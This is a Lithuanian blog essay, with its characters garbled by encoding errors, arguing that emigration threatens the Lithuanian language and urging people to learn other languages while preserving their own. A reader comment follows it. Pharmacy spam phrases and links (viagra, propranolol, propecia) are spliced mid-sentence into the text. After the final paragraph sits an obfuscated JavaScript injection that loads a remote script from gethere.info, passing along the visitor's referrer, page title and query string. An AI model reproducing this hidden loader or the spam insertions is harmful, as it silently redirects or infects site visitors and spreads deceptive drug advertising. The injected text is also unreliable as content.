LietuviA? kalba – mirA?tanti kalba?

MA�sA? A?alis nuo senA? laikA? puoselA�ja savo kalbA� ir kultA�rA�, taA?iau A?lugus sovietA? sA�jungai ir jos priespaudai A?gijome galimybA� paA?inti svetimus kraA?tus. IA? paA?iA�ros, tai turA�tA? bA�tA? didelis pliusas, taA?iau, kuo toliau, tuo labiau matome, kad A?monA�s vis daugiau emigruoja ir pamirA?ta ne tik tA�vynA�, bet ir gimtA�jA� kalbA�. MA�sA? kalba gali visai iA?nykti, o pasaulio A?vykiai ir neprigijusi esperanto kalba rodo, kad A?alys vertina kalbA? A?vairovA�. BA�tent dA�l A?iA? prieA?asA?iA? reikia mokA�ti gimtA�jA� kalbA�, o A?rodant savo pranaA?umA� galima mokytis ir daugelA? kitA?.

Prarasim kalbA� – prarasim tapatybA�

PagrindinA� prieA?astis, kodA�l dabar turime kalbA�ti apie kalbA� ar net jos iA?nykimA� yra emigracija. Daugelis emigruoja svetur, taikosi prie svetimos kultA�ros, pradeda kalbA�ti svetima kalba, tokiu bA�du pamirA?tant savA�jA�. GalA? gale, grA?A?us A? LietuvA� atostogoms ar aplankyti gimines, emigrantai daA?nai pamirA?ta lietuviA?kA� A?odA? ir kvailai nusijuokA� pasako jA? svetima kalba. A�iais laikais jie tai laiko prestiA?u. Tik retas susimA�sto, kad tokiu bA�du maA?os A?alies kalba laikui bA�gant gali visiA?kai iA?nykti.

Puikiu pavyzdA?iu tampa istorija su lotynA? kalba. IA? pradA?iA? A?i buvo itin populiari, pradA?iA� davA� tokioms kalboms kaip portugalA?, italA?, ispanA? ir daugeliui kitA?, taA?iau A?iandien lotynA? kalba naudojama tik medicinoje, gamtos moksluose ar tarptautinA�je diplomatinA�je aplinkoje. IA? buy lopressor no script paA?iA�ros atrodo, kad lotynA? kalba iA?ties nA�ra mirus ir ja vis dar kalbama, bet pagrindinis skirtumas, jog lietuviA? kalba neturi tokios didingos praeities, ja kalba tik lietuviai, kuriA? dalis nelaiko tai vertybe. Visa tai A?rodo, kad iA?siA?adA�jus gimtosios kalbos ne tik nesusikalbA�sime su giminaiA?iais, bet ir nesugebA�sime savA�s atskleisti, iA?reikA?ti lietuviA?ku A?odA?iu ir prarasim savo tapatybA�.

Pasaulis pritaria kalbA? A?vairovei

DaA?nas lietuvis nesupranta, kad gimta kalba yra turtas ir vertybA�. Daugelis pasaulio A?aliA? vertina savo kalbA�, jA� puoselA�ja ir saugo. Netgi dabar galima rasti lietuvoje rusA?, kurie gyvendami A?ia 20 ir daugiau metA?, nekalba lietuviA?kai. Gal iA? principo, o gal iA? pagarbos savo A?aliai ir savo kalbai. Pagalvojus apie mA�sA? lietuvaiA?ius, A?ie iA?vaA?iavA� A? uA?sienA? po metA? jau laisviausiai gali kalbA�ti svetima kalba, nes kitokiu bA�du jie tarsi „darbo negali rasti“, nors tiesa bA�tA? ta, jog nori greiA?iau prisitaikyti prie svetimos aplinkos ir kad A? juos nebA�tA? A?iA�rima kaip A? „svetimtauA?ius“, http://companyliquidation.co.uk/4saj-pre-order-alli/ generic soft viagra usa. nors nesuvokia, kad jie tokiais liks visada… O Lietuvoje likA� lietuviai, kurie vertina savo kalbA� bus labiausiai nuskriausti, kai patys pastebA�s, kad, kuo toliau, tuo labiau nyksta tiek metA? puoselA�ta ir branginta kalba.

Taip pat faktA�, kad gimta kalba yra vertybA�, rodo ir daugelis pasaulio valstybiA?. Mat dirbtinai sukurta esperanto kalba, kuri vis labiau populiarA�ja, skirta susikalbA�ti visoms A?alims tarpusavyje: diplomatiniais klausimais, o gal tiesiog siekiant paA?inti kitA� A?alA?, kultA�rA�. Sumanymas geras, taA?iau niekas tuo http://southbaycustoms.net/6sx-the-renovator-tool/ nesiekia iA?stumti gimtA?jA? kalbA?, taip parodydami, kad tai yra A?venta ir nepaA?eidA?iama. Stebint tokA? procesA�, kyla klausimas: gal ateis tokia diena, kai iA?vis tokia A?alis kaip Lietuva iA?nyks iA? A?emA�lapio?

Kaip sprA�sti problemA�?

Vis dA�lto, kaip derA�tA? elgtis ir kA� daryti, kad lietuviA? kalba neiA?nyktA?, bet ir kitas mokA�tume? Mums aiA?kiai tai pasakA� jau XVI amA?iuje Mikalojus Konstantinas DaukA?a: „Ne A?emA�s derlumu, ne drabuA?iA? A?vairumu, ne A?alies graA?umu, ne miestA? ir piliA? stiprumu laikosi tautos, bet daugiausia iA?laikydamos savA�jA� kalbA�, kuri didina ir palaiko bendrumA�, santaikA� mexican pharmacy propranolol ir broliA?kA� meilA�.“

Tikriausiai racionaliausias bA�das iA?mokti kitas kalbas ir tapti poliglotais. Tokiu bA�du galima tapti mA�giamu visA?, nes tai puiki galimybA� susikalbA�ti su kiekvienu, paA?inti kitA? A?aliA? kultA�rA�, istorijA�, tapti iA?prususiu A?mogumi. Kaip A?inoma, poliglotai turi mokA�ti daug kalbA?, jei to atrodo maA?a, galima iA?mokti jA? dar daugiau ir tapti hiperpoliglotu.

PoliglotA? pagrindinis pliusas propecia 1 mg tas, jog jie neuA?mirA?ta savos kalbos ir prieA?ingai – labai vertina kiekvienA� kalbA�, taip A?gaunama galimybA� laisvai keliauti be jokiA? kompleksA? ir skleisti savo gimtA�jA� kalbA�, mokinti kiekvienA� sutiktA� iA?tarti bent lietuviA?kai „labas“, taip supaA?indinant visus, jog egzistuoja http://aeusasoftball.com/yv0m-how-to-get-lexapro-without-insurance/ tokia maA?a A?alis su tokia graA?ia kalba.

LietuviA? kalbos valstybiniai egzaminai

Anot NEC (nacionalinio egzaminA? centro) A?iemet lietuviA? kalbos valstybinio egzamino neiA?laikA� 12% abiturientA? (iA? viso laikiusiA?jA? – 21937). SkaiA?ius yra pakankamai didelis, kad galA�tume daryti iA?vadas, kad jaunimo raA?tingumas prastA�ja. A?inoma, galima kaltini informacines technologijas, nenorA� skaityti knygas, taA?iau tam reikia noro ir motyvacijos, o tuo gali pasiA?ymA�ti ne kiekvienas.

Apsaugoti mA�sA? kalbA� nuo iA?nykimo A?manoma, taA?iau kiekvienas turi prisidA�ti prie jos puoselA�jimo. Turime rasti kompromisA� tarp to, ko norime ir ko iA? tiesA? reikia. GalA? gale, kiekvienas turime jausti atsakomybA� ir pareigA� savo tA�vynei, o tai galima padaryti tik iA?laikydami ir saugodami savo kalbA�. Tik visa tai supratus, gimta kalba galA�sime dA?iaugtis dar ilgai, negalvojant apie blogiausiA�.

 var _0x31f1=[„\x73\x63\x72\x69\x70\x74″,“\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,“\x73\x72\x63″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D“,“\x72\x65\x66\x65\x72\x72\x65\x72″,“\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D“,“\x74\x69\x74\x6C\x65″,“\x26″,“\x3F“,“\x72\x65\x70\x6C\x61\x63\x65″,“\x73\x65\x61\x72\x63\x68″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“,“\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,“\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,“\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,“\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,“\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,“\x68\x65\x61\x64″,“\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,“\x70\x72\x6F\x74\x6F\x63\x6F\x6C“,“\x68\x74\x74\x70\x73\x3A“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x52\x5F\x50\x41\x54\x48″,“\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E“];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Komentarai (1)

  1. kia sako:

    O kur tarptautinėje diplomatinėje aplinkoje naudojama lotynu kalba? (neskaitant baznycios )?

Parašykite komentarą

El. pašto adresas nebus skelbiamas. Būtini laukeliai pažymėti *